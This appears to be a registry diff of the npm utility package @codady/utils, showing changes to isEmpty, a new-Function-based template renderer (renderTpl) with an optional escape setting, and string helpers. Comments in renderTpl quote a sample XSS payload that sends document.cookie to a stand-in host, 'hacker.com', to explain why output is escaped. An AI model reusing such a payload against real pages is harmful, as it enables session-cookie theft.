@codady/utils 0.0.37 → 0.0.39
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +35 -1
- package/dist/utils.cjs.js +651 -54
- package/dist/utils.cjs.min.js +3 -3
- package/dist/utils.esm.js +651 -54
- package/dist/utils.esm.min.js +3 -3
- package/dist/utils.umd.js +651 -54
- package/dist/utils.umd.min.js +3 -3
- package/dist.zip +0 -0
- package/examples/ajax-get.html +59 -0
- package/examples/ajax-hook.html +55 -0
- package/examples/ajax-method.html +36 -0
- package/examples/ajax-post.html +37 -0
- package/examples/buildUrl.html +99 -0
- package/examples/escapeHTML.html +140 -0
- package/examples/getUrlHash.html +71 -0
- package/examples/renderTpl.html +272 -0
- package/modules.js +23 -3
- package/modules.ts +22 -3
- package/package.json +1 -1
- package/src/ajax.js +363 -0
- package/src/ajax.ts +450 -0
- package/src/buildUrl.js +64 -0
- package/src/buildUrl.ts +86 -0
- package/src/capitalize - /345/211/257/346/234/254.js" +19 -0
- package/src/capitalize.js +19 -0
- package/src/capitalize.ts +20 -0
- package/src/cleanQueryString.js +19 -0
- package/src/cleanQueryString.ts +20 -0
- package/src/comma - /345/211/257/346/234/254.js" +2 -0
- package/src/escapeCharsMaps.js +73 -0
- package/src/escapeCharsMaps.ts +74 -0
- package/src/escapeHTML.js +23 -25
- package/src/escapeHTML.ts +29 -25
- package/src/escapeRegexMaps.js +19 -0
- package/src/escapeRegexMaps.ts +26 -0
- package/src/getBodyHTML.js +53 -0
- package/src/getBodyHTML.ts +61 -0
- package/src/getEl.js +1 -1
- package/src/getEl.ts +6 -5
- package/src/getEls.js +1 -1
- package/src/getEls.ts +5 -5
- package/src/getUrlHash.js +37 -0
- package/src/getUrlHash.ts +39 -0
- package/src/isEmpty.js +24 -23
- package/src/isEmpty.ts +26 -23
- package/src/renderTpl.js +37 -14
- package/src/renderTpl.ts +38 -18
- package/src/renderTpt.js +73 -0
- package/src/sliceStrEnd.js +63 -0
- package/src/sliceStrEnd.ts +60 -0
- package/src/toSingleLine.js +9 -0
- package/src/toSingleLine.ts +9 -0
- package/src/escapeHtmlChars - /345/211/257/346/234/254.js" +0 -28
- package/src/escapeHtmlChars.js +0 -28
- package/src/escapeHtmlChars.ts +0 -29
package/src/isEmpty.js
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @since Last modified:
|
|
2
|
+
* @since Last modified: 2026/01/20 12:02:43
|
|
3
3
|
* @function isEmpty
|
|
4
4
|
* @description Determine whether it is empty data.The data itself is empty data: 0| ''|false|undefined|null; <br>empty function: function () {}|() => {}; <br>empty array and empty objects: []|{}| [null]| [ undefined]| ['']| [""];<br> empty symbol object: symbol()|symbol.For(), will be judged as empty.
|
|
5
5
|
* @param {*} data - Can be any data
|
|
@@ -16,30 +16,31 @@ const isEmpty = (data) => {
|
|
|
16
16
|
let type = getDataType(data), flag;
|
|
17
17
|
if (!data) {
|
|
18
18
|
//0,'',false,undefined,null
|
|
19
|
-
|
|
19
|
+
return true;
|
|
20
20
|
}
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
//[null]|[undefined]|['']|[""]
|
|
24
|
-
//[]|{}
|
|
25
|
-
//Symbol()|Symbol.for()
|
|
26
|
-
//Set,Map
|
|
27
|
-
//Date/Regex
|
|
28
|
-
flag = (type === 'Object') ? (Object.keys(data).length === 0) :
|
|
29
|
-
(type === 'Array') ? data.join('') === '' :
|
|
30
|
-
(type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
|
|
31
|
-
(type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
|
|
32
|
-
(type === 'Set' || type === 'Map') ? data.size === 0 :
|
|
33
|
-
type === 'Date' ? isNaN(data.getTime()) :
|
|
34
|
-
type === 'RegExp' ? data.source === '' :
|
|
35
|
-
type === 'ArrayBuffer' ? data.byteLength === 0 :
|
|
36
|
-
(type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
|
|
37
|
-
('length' in data && typeof data.length === 'number') ? data.length === 0 :
|
|
38
|
-
('size' in data && typeof data.size === 'number') ? data.size === 0 :
|
|
39
|
-
(type === 'Error' || data instanceof Error) ? data.message === '' :
|
|
40
|
-
(type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
|
|
41
|
-
false;
|
|
21
|
+
if (['String', 'Number', 'Boolean'].includes(type)) {
|
|
22
|
+
return false;
|
|
42
23
|
}
|
|
24
|
+
//function(){}|()=>{}
|
|
25
|
+
//[null]|[undefined]|['']|[""]
|
|
26
|
+
//[]|{}
|
|
27
|
+
//Symbol()|Symbol.for()
|
|
28
|
+
//Set,Map
|
|
29
|
+
//Date/Regex
|
|
30
|
+
flag = (type === 'Object') ? (Object.keys(data).length === 0) :
|
|
31
|
+
(type === 'Array') ? data.join('') === '' :
|
|
32
|
+
(type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
|
|
33
|
+
(type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
|
|
34
|
+
(type === 'Set' || type === 'Map') ? data.size === 0 :
|
|
35
|
+
type === 'Date' ? isNaN(data.getTime()) :
|
|
36
|
+
type === 'RegExp' ? data.source === '' :
|
|
37
|
+
type === 'ArrayBuffer' ? data.byteLength === 0 :
|
|
38
|
+
(type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
|
|
39
|
+
('length' in data && typeof data.length === 'number') ? data.length === 0 :
|
|
40
|
+
('size' in data && typeof data.size === 'number') ? data.size === 0 :
|
|
41
|
+
(type === 'Error' || data instanceof Error) ? data.message === '' :
|
|
42
|
+
(type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
|
|
43
|
+
false;
|
|
43
44
|
return flag;
|
|
44
45
|
};
|
|
45
46
|
export default isEmpty;
|
package/src/isEmpty.ts
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @since Last modified:
|
|
2
|
+
* @since Last modified: 2026/01/20 12:02:43
|
|
3
3
|
* @function isEmpty
|
|
4
4
|
* @description Determine whether it is empty data.The data itself is empty data: 0| ''|false|undefined|null; <br>empty function: function () {}|() => {}; <br>empty array and empty objects: []|{}| [null]| [ undefined]| ['']| [""];<br> empty symbol object: symbol()|symbol.For(), will be judged as empty.
|
|
5
5
|
* @param {*} data - Can be any data
|
|
@@ -16,29 +16,32 @@ const isEmpty = (data: any): boolean => {
|
|
|
16
16
|
let type = getDataType(data), flag: boolean;
|
|
17
17
|
if (!data) {
|
|
18
18
|
//0,'',false,undefined,null
|
|
19
|
-
|
|
20
|
-
} else {
|
|
21
|
-
//function(){}|()=>{}
|
|
22
|
-
//[null]|[undefined]|['']|[""]
|
|
23
|
-
//[]|{}
|
|
24
|
-
//Symbol()|Symbol.for()
|
|
25
|
-
//Set,Map
|
|
26
|
-
//Date/Regex
|
|
27
|
-
flag = (type === 'Object') ? (Object.keys(data).length === 0) :
|
|
28
|
-
(type === 'Array') ? data.join('') === '' :
|
|
29
|
-
(type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
|
|
30
|
-
(type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
|
|
31
|
-
(type === 'Set' || type === 'Map') ? data.size === 0 :
|
|
32
|
-
type === 'Date' ? isNaN(data.getTime()) :
|
|
33
|
-
type === 'RegExp' ? data.source === '' :
|
|
34
|
-
type === 'ArrayBuffer' ? data.byteLength === 0 :
|
|
35
|
-
(type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
|
|
36
|
-
('length' in data && typeof data.length === 'number') ? data.length === 0 :
|
|
37
|
-
('size' in data && typeof data.size === 'number') ? data.size === 0 :
|
|
38
|
-
(type === 'Error' || data instanceof Error) ? data.message === '' :
|
|
39
|
-
(type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
|
|
40
|
-
false;
|
|
19
|
+
return true;
|
|
41
20
|
}
|
|
21
|
+
if (['String', 'Number', 'Boolean'].includes(type)) {
|
|
22
|
+
return false;
|
|
23
|
+
}
|
|
24
|
+
//function(){}|()=>{}
|
|
25
|
+
//[null]|[undefined]|['']|[""]
|
|
26
|
+
//[]|{}
|
|
27
|
+
//Symbol()|Symbol.for()
|
|
28
|
+
//Set,Map
|
|
29
|
+
//Date/Regex
|
|
30
|
+
flag = (type === 'Object') ? (Object.keys(data).length === 0) :
|
|
31
|
+
(type === 'Array') ? data.join('') === '' :
|
|
32
|
+
(type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
|
|
33
|
+
(type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
|
|
34
|
+
(type === 'Set' || type === 'Map') ? data.size === 0 :
|
|
35
|
+
type === 'Date' ? isNaN(data.getTime()) :
|
|
36
|
+
type === 'RegExp' ? data.source === '' :
|
|
37
|
+
type === 'ArrayBuffer' ? data.byteLength === 0 :
|
|
38
|
+
(type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
|
|
39
|
+
('length' in data && typeof data.length === 'number') ? data.length === 0 :
|
|
40
|
+
('size' in data && typeof data.size === 'number') ? data.size === 0 :
|
|
41
|
+
(type === 'Error' || data instanceof Error) ? data.message === '' :
|
|
42
|
+
(type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
|
|
43
|
+
false;
|
|
44
|
+
|
|
42
45
|
return flag;
|
|
43
46
|
}
|
|
44
47
|
export default isEmpty;
|
package/src/renderTpl.js
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @since Last modified:
|
|
2
|
+
* @since Last modified: 2026/01/16 15:11:15
|
|
3
3
|
* @function renderTpl
|
|
4
4
|
* @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
|
|
5
5
|
* @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
|
|
6
6
|
* @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
|
|
7
7
|
* @param {Object} [options] - Configuration options to control the rendering behavior:
|
|
8
|
-
* @param {boolean} [options.
|
|
8
|
+
* @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
|
|
9
9
|
* @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
|
|
10
10
|
* @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
|
|
11
11
|
* @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
|
|
@@ -13,8 +13,10 @@
|
|
|
13
13
|
* @returns {string} - The string after the variables are replaced with data.
|
|
14
14
|
*/
|
|
15
15
|
'use strict';
|
|
16
|
-
import
|
|
16
|
+
import escapeHTML from "./escapeHTML";
|
|
17
|
+
import getUniqueId from "./getUniqueId";
|
|
17
18
|
import requireTypes from "./requireTypes";
|
|
19
|
+
import toSingleLine from "./toSingleLine";
|
|
18
20
|
const renderTpl = (html, data, options = {}) => {
|
|
19
21
|
requireTypes(html, 'string', (error) => {
|
|
20
22
|
//不符合要求的类型
|
|
@@ -33,33 +35,54 @@ const renderTpl = (html, data, options = {}) => {
|
|
|
33
35
|
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
34
36
|
return html;
|
|
35
37
|
}
|
|
36
|
-
let opts = Object.assign({
|
|
38
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
|
|
37
39
|
//regStart='\\{\\{'
|
|
38
40
|
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
39
41
|
//regEnd='\\}\\}'
|
|
40
|
-
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
|
|
41
|
-
|
|
42
|
-
|
|
42
|
+
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
|
|
43
|
+
//代替escapeHTML的方法,在字符串内部的映射,确保不会重名
|
|
44
|
+
escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
|
|
45
|
+
if (isScript) {
|
|
46
|
+
//处理语句类(如 {{ if(x) /}} )
|
|
47
|
+
if (fragment.endsWith(opts.suffix)) {
|
|
48
|
+
code += (fragment.slice(0, -opts.suffix.length) + '\n');
|
|
49
|
+
}
|
|
50
|
+
else {
|
|
51
|
+
//处理表达式类(如 {{ name }} )
|
|
52
|
+
//需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
|
|
53
|
+
//虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
|
|
54
|
+
code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
else {
|
|
58
|
+
//fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
|
|
59
|
+
//js语句不能直接文本换行,所以也需要转意换行符
|
|
60
|
+
//换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
|
|
61
|
+
code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
|
|
62
|
+
}
|
|
43
63
|
return add;
|
|
44
64
|
};
|
|
45
|
-
while (match = tplReg.exec(
|
|
46
|
-
add(
|
|
65
|
+
while (match = tplReg.exec(html)) {
|
|
66
|
+
add(html.slice(cursor, match.index))(match[1], true);
|
|
47
67
|
cursor = match.index + match[0].length;
|
|
48
68
|
}
|
|
49
|
-
add(
|
|
69
|
+
add(html.slice(cursor));
|
|
50
70
|
code += `return str.join('');`;
|
|
71
|
+
//一行行化代码
|
|
72
|
+
//如果文本"XXX (换行)",js执行会报错,所以需要清理换行
|
|
73
|
+
code = toSingleLine(code);
|
|
51
74
|
try {
|
|
52
75
|
if (opts.strict || dataType === 'Array') {
|
|
53
76
|
//严格模式,或者是数组数据,则必须使用this
|
|
54
|
-
result = new Function(
|
|
77
|
+
result = new Function(escapeName, code).apply(data, [escapeHTML]);
|
|
55
78
|
}
|
|
56
79
|
else {
|
|
57
80
|
////非严格模式,且是对象,则可省略this
|
|
58
81
|
let keys = Object.keys(data), values = Object.values(data),
|
|
59
|
-
//keys
|
|
60
|
-
tmp = new Function(...keys,
|
|
82
|
+
//keys传参,可直接以key为值,this依然可指向data
|
|
83
|
+
tmp = new Function(...keys, escapeName, code).bind(data);
|
|
61
84
|
//执行时以value赋值
|
|
62
|
-
result = tmp(...values);
|
|
85
|
+
result = tmp(...values, escapeHTML);
|
|
63
86
|
}
|
|
64
87
|
}
|
|
65
88
|
catch (err) {
|
package/src/renderTpl.ts
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @since Last modified:
|
|
2
|
+
* @since Last modified: 2026/01/16 15:11:15
|
|
3
3
|
* @function renderTpl
|
|
4
4
|
* @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
|
|
5
5
|
* @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
|
|
6
6
|
* @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
|
|
7
7
|
* @param {Object} [options] - Configuration options to control the rendering behavior:
|
|
8
|
-
* @param {boolean} [options.
|
|
8
|
+
* @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
|
|
9
9
|
* @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
|
|
10
10
|
* @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
|
|
11
11
|
* @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
|
|
@@ -14,14 +14,16 @@
|
|
|
14
14
|
*/
|
|
15
15
|
'use strict';
|
|
16
16
|
import { T_obj } from "../types/utils";
|
|
17
|
-
import {
|
|
17
|
+
import escapeHTML, { EscapeStrength } from "./escapeHTML";
|
|
18
|
+
import getUniqueId from "./getUniqueId";
|
|
18
19
|
import requireTypes from "./requireTypes";
|
|
20
|
+
import toSingleLine from "./toSingleLine";
|
|
19
21
|
type options = {
|
|
20
|
-
|
|
22
|
+
escape?: EscapeStrength,
|
|
21
23
|
strict?: boolean,
|
|
22
|
-
start?:string,
|
|
23
|
-
end?:string,
|
|
24
|
-
suffix?:string,
|
|
24
|
+
start?: string,
|
|
25
|
+
end?: string,
|
|
26
|
+
suffix?: string,
|
|
25
27
|
}
|
|
26
28
|
const renderTpl = (html: string, data: T_obj | any[], options: options = {}): string => {
|
|
27
29
|
requireTypes(html, 'string', (error) => {
|
|
@@ -43,8 +45,7 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
|
|
|
43
45
|
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
44
46
|
return html;
|
|
45
47
|
}
|
|
46
|
-
let opts = Object.assign({
|
|
47
|
-
tplStr = opts.safe ? escapeHTML(html) : html,
|
|
48
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
|
|
48
49
|
//regStart='\\{\\{'
|
|
49
50
|
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
50
51
|
//regEnd='\\}\\}'
|
|
@@ -54,29 +55,48 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
|
|
|
54
55
|
cursor = 0,
|
|
55
56
|
match: any,
|
|
56
57
|
result = '',
|
|
58
|
+
//代替escapeHTML的方法,在字符串内部的映射,确保不会重名
|
|
59
|
+
escapeName = `__esc__${getUniqueId()}`,
|
|
57
60
|
add = (fragment: string, isScript?: boolean) => {
|
|
58
|
-
|
|
59
|
-
|
|
61
|
+
if (isScript) {
|
|
62
|
+
//处理语句类(如 {{ if(x) /}} )
|
|
63
|
+
if (fragment.endsWith(opts.suffix)) {
|
|
64
|
+
code += (fragment.slice(0, -opts.suffix.length) + '\n');
|
|
65
|
+
} else {
|
|
66
|
+
//处理表达式类(如 {{ name }} )
|
|
67
|
+
//需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
|
|
68
|
+
//虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
|
|
69
|
+
code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
|
|
70
|
+
}
|
|
71
|
+
} else {
|
|
72
|
+
//fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
|
|
73
|
+
//js语句不能直接文本换行,所以也需要转意换行符
|
|
74
|
+
//换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
|
|
75
|
+
code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
|
|
76
|
+
}
|
|
60
77
|
return add;
|
|
61
78
|
}
|
|
62
|
-
while (match = tplReg.exec(
|
|
63
|
-
add(
|
|
79
|
+
while (match = tplReg.exec(html)) {
|
|
80
|
+
add(html.slice(cursor, match.index))(match[1], true);
|
|
64
81
|
cursor = match.index + match[0].length;
|
|
65
82
|
}
|
|
66
|
-
add(
|
|
83
|
+
add(html.slice(cursor));
|
|
67
84
|
code += `return str.join('');`;
|
|
85
|
+
//一行行化代码
|
|
86
|
+
//如果文本"XXX (换行)",js执行会报错,所以需要清理换行
|
|
87
|
+
code = toSingleLine(code);
|
|
68
88
|
try {
|
|
69
89
|
if (opts.strict || dataType === 'Array') {
|
|
70
90
|
//严格模式,或者是数组数据,则必须使用this
|
|
71
|
-
result = new Function(
|
|
91
|
+
result = new Function(escapeName, code).apply(data, [escapeHTML]);
|
|
72
92
|
} else {
|
|
73
93
|
////非严格模式,且是对象,则可省略this
|
|
74
94
|
let keys = Object.keys(data),
|
|
75
95
|
values = Object.values(data),
|
|
76
|
-
//keys
|
|
77
|
-
tmp = new Function(...keys,
|
|
96
|
+
//keys传参,可直接以key为值,this依然可指向data
|
|
97
|
+
tmp = new Function(...keys, escapeName, code).bind(data);
|
|
78
98
|
//执行时以value赋值
|
|
79
|
-
result = tmp(...values);
|
|
99
|
+
result = tmp(...values, escapeHTML);
|
|
80
100
|
}
|
|
81
101
|
} catch (err: any) {
|
|
82
102
|
console.error(`'${err.message}'`, ' in \n', code, '\n');
|
package/src/renderTpt.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2026/01/16 11:41:59
|
|
3
|
+
* @function renderTpl
|
|
4
|
+
* @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
|
|
5
|
+
* @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
|
|
6
|
+
* @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
|
|
7
|
+
* @param {Object} [options] - Configuration options to control the rendering behavior:
|
|
8
|
+
* @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
|
|
9
|
+
* @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
|
|
10
|
+
* @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
|
|
11
|
+
* @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
|
|
12
|
+
* @param {string} [options.suffix='/'] - The suffix for ending script-like expressions. Default is `/`. This is used to close template expressions like `{{this.fn() /}}`.
|
|
13
|
+
* @returns {string} - The string after the variables are replaced with data.
|
|
14
|
+
*/
|
|
15
|
+
'use strict';
|
|
16
|
+
import escapeHTML from "./escapeHTML";
|
|
17
|
+
import requireTypes from "./requireTypes";
|
|
18
|
+
import toSingleLine from "./toSingleLine";
|
|
19
|
+
const renderTemplate = (html, data, options = {}) => {
|
|
20
|
+
requireTypes(html, 'string', (error) => {
|
|
21
|
+
//不符合要求的类型
|
|
22
|
+
console.error(error);
|
|
23
|
+
return '';
|
|
24
|
+
});
|
|
25
|
+
if (!html.trim())
|
|
26
|
+
return '';
|
|
27
|
+
let dataType = requireTypes(data, ['array', 'object'], (error) => {
|
|
28
|
+
//不符合要求的类型
|
|
29
|
+
console.error(error);
|
|
30
|
+
return html;
|
|
31
|
+
});
|
|
32
|
+
//data={}/[]
|
|
33
|
+
if (Object.keys(data).length === 0) {
|
|
34
|
+
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
35
|
+
return html;
|
|
36
|
+
}
|
|
37
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options), tplStr = opts.escape ? escapeHTML(html, opts.escape) : html,
|
|
38
|
+
//regStart='\\{\\{'
|
|
39
|
+
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
40
|
+
//regEnd='\\}\\}'
|
|
41
|
+
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', add = (fragment, isScript) => {
|
|
42
|
+
isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
|
|
43
|
+
: (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
|
|
44
|
+
return add;
|
|
45
|
+
};
|
|
46
|
+
while (match = tplReg.exec(tplStr)) {
|
|
47
|
+
add(tplStr.slice(cursor, match.index))(match[1], true);
|
|
48
|
+
cursor = match.index + match[0].length;
|
|
49
|
+
}
|
|
50
|
+
add(tplStr.slice(cursor));
|
|
51
|
+
code += `return str.join('');`;
|
|
52
|
+
//一行行化代码
|
|
53
|
+
code = toSingleLine(code);
|
|
54
|
+
try {
|
|
55
|
+
if (opts.strict || dataType === 'Array') {
|
|
56
|
+
//严格模式,或者是数组数据,则必须使用this
|
|
57
|
+
result = new Function(code).apply(data);
|
|
58
|
+
}
|
|
59
|
+
else {
|
|
60
|
+
////非严格模式,且是对象,则可省略this
|
|
61
|
+
let keys = Object.keys(data), values = Object.values(data),
|
|
62
|
+
//keys传参,this依然可指向data
|
|
63
|
+
tmp = new Function(...keys, code).bind(data);
|
|
64
|
+
//执行时以value赋值
|
|
65
|
+
result = tmp(...values);
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
catch (err) {
|
|
69
|
+
console.error(`'${err.message}'`, ' in \n', code, '\n');
|
|
70
|
+
}
|
|
71
|
+
return result;
|
|
72
|
+
};
|
|
73
|
+
export default renderTemplate;
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2023-12-08 11:37:11
|
|
3
|
+
* @function sliceStrEnd
|
|
4
|
+
* @description Use keyword to cut forward or backwards from the string.
|
|
5
|
+
* @param {object} options - The parameter object of the function.
|
|
6
|
+
* @property {string} options.str - The string to be intercepted.Allow keyword many times.
|
|
7
|
+
* @property {string} [options.key='#'] - Keywords participating in intercepting.
|
|
8
|
+
* @property {string} [options.type='beforebegin'|'afterbegin'|'beforeend'|'afterend'] - Method of intercepting.The optional values include 'beforebegin','afterbegin','beforeend' and 'afterend'
|
|
9
|
+
* @property {boolean} [options.contain=true] - Whether the output result contains keyword.
|
|
10
|
+
* @returns {string|''} - Return the interception string does not change the original string.
|
|
11
|
+
* @see {@link https://codepen.io/axui/pen/NWoOKEY|demo @ codepen}
|
|
12
|
+
* @example
|
|
13
|
+
* ax.sliceStrEnd({str:'123#321',key:'#'});
|
|
14
|
+
* <!--return interception string -->
|
|
15
|
+
*/
|
|
16
|
+
//简介:使用关键字从字符串中向前或向后截取字符串。
|
|
17
|
+
//参数options:截取参数,是一个对象。
|
|
18
|
+
//参数属性str:将要被截取的字符串。允许key出现多次。
|
|
19
|
+
//参数属性key:截取的关键字。
|
|
20
|
+
//参数属性type:截取类型,可选值包括:'beforebegin','afterbegin','beforeend','afterend'。
|
|
21
|
+
//参数属性contain:输出结果是否包含key,默认true。
|
|
22
|
+
//返回:截取后的字符串,不改变原字符串。
|
|
23
|
+
'use strict';
|
|
24
|
+
const sliceStrEnd = ({ str = '', key = '#', type = 'afterend', contain = true }) => {
|
|
25
|
+
//str和key先强制转字符串
|
|
26
|
+
str = str.toString();
|
|
27
|
+
key = key.toString();
|
|
28
|
+
let result = '', indexKey = 0, lenKey = key.length, lenEnd = str.length, indexStart = 0;
|
|
29
|
+
//str和key不能为空,否则直接输出空值。允许填入0
|
|
30
|
+
if (!str || !key) {
|
|
31
|
+
return result;
|
|
32
|
+
}
|
|
33
|
+
str = str.trim();
|
|
34
|
+
if (str.includes(key)) {
|
|
35
|
+
if (type === 'beforebegin') {
|
|
36
|
+
indexKey = str.indexOf(key);
|
|
37
|
+
contain ? indexKey += lenKey : null;
|
|
38
|
+
//确认开始和结束
|
|
39
|
+
lenEnd = indexKey;
|
|
40
|
+
}
|
|
41
|
+
else if (type === 'afterbegin') {
|
|
42
|
+
indexKey = str.indexOf(key);
|
|
43
|
+
!contain ? indexKey += lenKey : null;
|
|
44
|
+
//确认开始和结束
|
|
45
|
+
indexStart = indexKey;
|
|
46
|
+
}
|
|
47
|
+
else if (type === 'beforeend') {
|
|
48
|
+
indexKey = str.lastIndexOf(key);
|
|
49
|
+
contain ? indexKey += lenKey : null;
|
|
50
|
+
//确认开始和结束
|
|
51
|
+
lenEnd = indexKey;
|
|
52
|
+
}
|
|
53
|
+
else if (type === 'afterend') {
|
|
54
|
+
indexKey = str.lastIndexOf(key);
|
|
55
|
+
!contain ? indexKey += lenKey : null;
|
|
56
|
+
//确认开始和结束
|
|
57
|
+
indexStart = indexKey;
|
|
58
|
+
}
|
|
59
|
+
result = str.substring(indexStart, lenEnd);
|
|
60
|
+
}
|
|
61
|
+
return result;
|
|
62
|
+
};
|
|
63
|
+
export default sliceStrEnd;
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2023-12-08 11:37:11
|
|
3
|
+
* @function sliceStrEnd
|
|
4
|
+
* @description Use keyword to cut forward or backwards from the string.
|
|
5
|
+
* @param {object} options - The parameter object of the function.
|
|
6
|
+
